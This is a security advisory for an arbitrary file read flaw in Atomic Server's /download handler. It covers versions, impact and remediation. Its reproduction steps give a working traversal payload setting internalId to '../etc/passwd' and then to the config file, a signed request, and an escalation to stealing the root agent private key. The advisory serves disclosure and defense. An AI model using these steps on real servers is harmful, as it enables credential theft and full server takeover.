CVE-2026-69156: Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)
High CVSS 8.1
- OSV id
- GHSA-8vc4-8hjq-988p
- Also known as
- CVE-2026-69156
- Published
- Last modified
Affected packages
| Package | Affected versions | Fixed in |
|---|---|---|
| atomic-server Cargo |
>= 0.30.0, <= 0.40.1 | after 0.40.1 |
How to fix it
No fix yet. No fixed version of atomic-server has been released yet.
- Check the advisory and its references below for a workaround or a configuration change that turns off the affected feature.
- Limit exposure: don't pass untrusted input to the affected code path, and keep it off public endpoints if you can.
- Pin away from the affected versions if an older release is not affected, or consider replacing the package.
- Watch for the fix: a free AIssue account checks your lockfiles every day and emails you when a fixed version is released.
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Details
Summary
The Commit apply path enforces no allowlist of writable properties, so any authenticated Agent can set the internalId string (datatype string, no character validation) on a resource it owns. The /download handler then uses that value verbatim as a filesystem path — file_path.push(internal_id); NamedFile::open(file_path) — with no sanitization and no containment check (server/src/handlers/download.rs:56-65). By setting internalId to a traversal path (../../../../etc/passwd) or an absolute path (PathBuf::push of an absolute path replaces the buffer), an attacker reads any file on the host. The highest-value target is the server config file storing the root agent private key, which yields full server compromise. Only the upload path sanitizes filenames (sanitize_filename); the download path trusts the stored value. The handler also never checks that the resource is a File.
Affected component
server/src/handlers/download.rs:56-65—file_path.push(internal_id)+NamedFile::open, no sanitization, noFile-class check.lib/src/commit.rs(apply_changes) — sets any property; no server-managed-property denylist.
Steps to Reproduce
Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a parent (self-signup, or via the /setup issue reported separately).
- Create a resource and set
internalIdto a traversal path — sign the Commit andPOST /commit(200):
subject = http://localhost:9883/pwnfile
set = {
"https://atomicdata.dev/properties/parent": "http://localhost:9883",
"https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
}
- Download it. The auth signature is over the resolved subject (the server strips the
/downloadprefix →http://localhost:9883/pwnfile):
GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>
Response 200 OK returns the host /etc/passwd:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
- Escalate — set
internalId = /atomic-storage/config/config.toml(absolute path) and download again:
server = "http://localhost:9883"
agent = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY" # server root agent key
- Using the stolen key, the attacker signs a Commit with
signer = <root agent>→POST /commit(200) edits data as root. Full compromise.
Expected: internalId treated as a server-managed property and/or /download canonicalizes and confines the path to uploads_path.
Actual: Arbitrary host file read, including the root private key.
Impact
Arbitrary file read as the server process: /etc/passwd, env, TLS keys, the sled DB, K8s service-account tokens, and the root agent private key → root impersonation → full read/write/delete of all data. Only a standard account is needed.
Remediation
- In
download.rs:sanitize_filename(internal_id), thencanonicalizeand assert the resolved path stays withinuploads_pathbefore opening; verify the resource is aFile. - Add a server-managed-property denylist (
internalId, rights arrays, etc.) inlib/src/commit.rsso clients cannot set them.
References
- GHSA-8vc4-8hjq-988p on OSV.dev
- Web: https://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p
- Advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-69156
- Web: https://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61
- Package: https://github.com/ontola/atomic-server
- Web: https://github.com/ontola/atomic-server/releases/tag/v0.40.3
Am I affected?
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About this data
Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.